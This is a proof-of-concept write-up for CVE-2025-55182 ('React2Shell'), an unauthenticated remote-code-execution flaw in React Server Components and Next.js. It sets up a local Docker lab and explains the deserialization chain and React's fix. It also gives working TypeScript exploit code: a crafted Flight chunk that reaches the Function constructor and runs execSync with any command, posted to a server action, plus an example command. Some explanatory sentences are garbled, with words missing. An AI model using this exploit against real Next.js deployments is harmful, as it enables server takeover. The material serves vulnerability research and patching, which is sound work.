
Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization.
CVE-2025-55182 is one of the most impactful Web framework vulnerabilities of 2025. React Server Components (RSC) are now the mainstream architecture for modern Next.js applications, and a large number of standard projects created with create-next-app are within the affected scope, requiring no custom code to be exploited.
| Item | Content |
|---|---|
| CVE ID | CVE-2025-55182 |
| Alias | React2Shell |
| Vulnerability Type | Unauthenticated Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialization of Untrusted Data [3] |
| CVSS Score | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Affected Packages | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Affected Versions | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 and above, 15.x, 16.x |
| Attack Complexity | Very Low (Single HTTP POST Request) |
| Authentication Required | No |
Create a Next application using the vulnerable version (16.0.6):
pnpm create [email protected] next-app --yes
In next-app/app/, add actions.ts and flag it as a Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
On the home page (e.g., app/page.tsx), add a form with action pointing to the testAction above, and include at least one field (e.g., a hidden input).
Next.js will generate a hidden input
name="$ACTION_ID_<40-character hex>"for that form in the HTML; the POC extracts this ID from the home page HTML using a regex.
The project includes next-app/Dockerfile and docker-compose.yml to build and run the Next application; the Dockerfile can be written following the official example [8].
Run the following in the project root:
docker compose up --build -d
The started Next application will then be accessible at http://localhost:3000.
After the POC is complete, completely remove the Docker environment:
docker compose down -v
When running the POC, the script fetches the home page and extracts the ID using the regex \$ACTION_ID_([a-f0-9]{40})/. Example:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
After installing dependencies in the project root, run:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Key code snippet below:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Example: write a file on the target host:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec to enter the container and inspect, or use Docker Desktop.The vulnerability resides in React's Flight Protocol Deserialization Mechanism (RSC Flight Deserializer). This mechanism is responsible for passing React component state between server and client, but the processing flow suffers from a severe trust boundary issue.
React Flight Protocol is the wire format designed by React for Server Components and Server Actions: it serializes component trees, function parameters, etc., into a stream of chunks represented as JSON, and uses
$number,$number:keyto create references between chunks, allowing the server to reconstruct full JavaScript values.
Attacker sends malicious HTTP POST
↓
[Stage 1] Create a self-referential loop object
↓
[Stage 2] Trick the JavaScript engine into calling an attacker-controlled function
↓
[Stage 3] Inject malicious data to trigger the Flight initialization flow
↓
[Stage 4] Call the Function constructor via Blob Handler
↓
Arbitrary JavaScript executes on the server (RCE)
React's Server Functions (in Next.js, Server Actions) serialize data sent from the frontend to the backend into "chunks" using the React Flight Protocol, then send them as form data.
Advantages of this design include:
Chunks can reference each other; for example:
["$1"] (references chunk 1){"object":"fruit","name":"$2:fruitName"} (references the fruitName of chunk 2){"fruitName":"cherry"}After server interpretation, the result is: { object: 'fruit', name: 'cherry' }. In other words, the protocol allows pointing to properties of other chunks via $number:key and then combining them into the final JavaScript object.
In the pre-patched implementation, when parsing these references, there was no strict check that "the key actually exists on the object itself". Consequently, attackers could read properties on the object's prototype via references.
For example, the following payload can be constructed:
["$1:__proto__:constructor:constructor"]{"x":1}When the server resolves "chunk 1's __proto__ → constructor → constructor", it obtains the Function constructor ([Function: Function]), i.e., the built-in constructor that creates functions from strings. In other words: through an improper reference chain, an attacker can obtain Function on the server side, and thereby execute strings as code.
When Next.js receives the form, it uses decodeReplyFromBusboy to restore the chunks into a value, and then awaits that value.
In JavaScript, if an object has a .then method, it is considered a thenable; when awaited, that .then will be called. Therefore, if the .then of the "decoded result" points to an attacker-controlled function (e.g., the Function constructor described above), that logic will be executed during the await. The next step of the attack is: construct an object that, after decoding, appears to be a thenable, and point its .then to the intended call gadget.
Use $@0 to reference the "original chunk"
In the protocol, $@number means "take the raw content of chunk N, without further parsing". Therefore, chunk 1 can be "$@0", causing the parsing process to read the raw representation of "chunk 0 itself".
Point chunk 0's .then to the Chunk's prototype
If chunk 0 is an object shaped like {"then": "$1:__proto__:then", ...}, and chunk 1 is "$@0", then during parsing, chunk 0's .then is set to Chunk.prototype.then (in Flight protocol, a Chunk is itself a thenable). Consequently, when Next.js awaits the decoded result, it enters the Chunk's .then logic.
Trigger initializeModelChunk
Inside Chunk.prototype.then, if the "fake chunk" has status set to "resolved_model", it enters initializeModelChunk. This parses the chunk's as JSON and performs a round of "revival" on the parsed object, which processes various special prefixes (e.g., for blob references).
React fixed this vulnerability in PR #35277 [9] (commit e2fd5dc [10]), with two main points:
Restrict property resolution to not traverse the prototype chain
In logic such as requireModule that resolves chunk references, the code now checks with hasOwnProperty whether the key actually exists on the object itself; if not, it returns undefined, preventing the retrieval of constructor and other exposed properties from __proto__. This change is applied across multiple Flight-related modules (e.g., ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack, and the corresponding Parcel/Turbopack configurations), blocking the exploit chain: "obtain Function constructor via references → construct thenable → trigger get gadget to execute arbitrary code".
Error handling in decodeReplyFromBusboy
try/catch was added when parsing form data (e.g., resolveField, resolveFileComplete) so that if parsing throws an error, is called, ensuring the error is properly propagated and preventing the stream from being in an inconsistent state, thus reducing the exploit surface during abnormal parsing.
value$BCall gadget: _response._formData.get(_prefix + id)
When processing the $B prefix, the code executes:
response._formData.get(response._prefix + some id).
If, through _response, the attacker controls _formData and _prefix, and sets _formData.get to the Function constructor, and _prefix to the malicious code string, that line becomes:
Function("our written code" + "0")
i.e., "create a function from a string". This function is then returned as the .then value of that chunk and is subsequently awaited in the same promise chain, thereby executing our code on the server.
Actual RCE
Changing "our written code" to something like:
process.mainModule.require('child_process').execSync('system command to execute');
achieves Remote Code Execution (RCE) on the server.
busboyStream.destroy(error)